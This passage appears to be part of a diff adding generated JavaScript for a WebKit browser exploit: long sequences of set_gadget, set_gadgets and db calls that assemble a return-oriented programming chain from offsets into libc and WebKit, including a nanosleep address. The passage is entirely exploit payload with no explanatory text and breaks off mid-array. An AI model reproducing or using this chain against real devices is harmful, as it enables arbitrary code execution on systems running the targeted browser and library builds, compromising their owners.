+db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+238000, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+238096, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294966264, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+238184, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+238200, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+238360, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+238392, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+238344, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+238376, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+238552, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+238504, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+238520, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([4, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+238632, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+238648, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+238736, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+238792, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+238920, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+238952, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+238936, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+239112, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+239144, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+239096, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+239128, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+239224, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+239240, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+239336, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+239320, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+239440, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+247624, +libc_base+863109, +libc_base+713278 +]); +db([4294967256, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+239584, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+239600, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+239568, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+239728, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+239760, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+239744, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+239872, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+239864, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+239888, +ropchain+240352, +libc_base+388400, +libc_base+713278, +ropchain+239960, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+240120, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+240152, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+240104, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+240136, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+240232, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+240248, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+240344, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+240328, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+240408, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294966264, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+240496, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+240512, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+240672, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+240704, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+240656, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+240688, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+240800, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+240784, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+240888, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+240960, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294966264, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+713278, +ropchain+241024, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+489696, +ropchain+235800, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+603832, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+241240, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+246296, +libc_base+863109, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+489696, +ropchain+229408, +libc_base+713278, +ropchain+241344, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+241432, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+241448, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+241592, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+241608, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+241576, +webkit_base+4687784, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+241696, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+241712, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+241872, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+241904, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+241856, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+241888, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+242000, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+241984, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+242104, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+174016, +libc_base+863109, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([65, 0]); +set_gadget(libc_base+772328,); +db([65, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+844101, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+603856, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+242384, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+161664, +libc_base+863109, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+242472, +webkit_base+4687784, +libc_base+768796 +]); +db([1, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([1, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+242584, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+242568, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+242680, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+242768, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+242784, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+242888, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+242872, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+242944, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+972324, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+243048, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+243136, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+243152, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+243296, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+243312, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+243280, +webkit_base+4687784, +libc_base+713278 +]); +db([8, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+243400, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+243416, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+243576, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+243608, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+243560, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+243592, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+243688, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+243704, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+243816, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+243800, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +libc_base+713278, +ropchain+243952, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+243968, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+243936, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+244112, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+244144, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+244080, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+350006, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+244264, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+244256, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+244280, +ropchain+245496, +libc_base+713278, +ropchain+244336, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+244424, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+244440, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+244584, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+244600, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+244568, +webkit_base+4687784, +libc_base+713278 +]); +db([12, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+244688, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+244704, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+244864, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+244896, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+244848, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+244880, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+244976, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+244992, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+245104, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+245088, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +libc_base+713278, +ropchain+245240, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+245256, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+245224, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+245400, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+245416, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+245368, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+350006, +libc_base+232261, +libc_base+713278, +ropchain+245488, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+863109, +libc_base+713278, +ropchain+245616, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+245632, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+245600, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+245760, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+245792, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+245776, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+245904, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+245896, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+245920, +ropchain+245936, +libc_base+489696, +ropchain+245952, +libc_base+489696, +ropchain+245968, +libc_base+489696, +ropchain+242992, +libc_base+713278, +ropchain+246048, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+246032, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+246152, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+246168, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+246288, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+246272, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+608613, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+17972187, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+765305, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+430587, +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([200, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([192, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([184, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([176, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([168, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([4294967280, 4294967295]); +set_gadgets([ +webkit_base+5236215, +libc_base+772328, +nanosleep_addr, +webkit_base+2989859, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([48, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+430587, +libc_base+713278 +]); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+247616, +webkit_base+4687784, +libc_base+489696 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+608613, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+17972187, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+765305, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+430587, +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([200, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([192, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([184, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([176, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([168, 0]); +set_gadgets([ 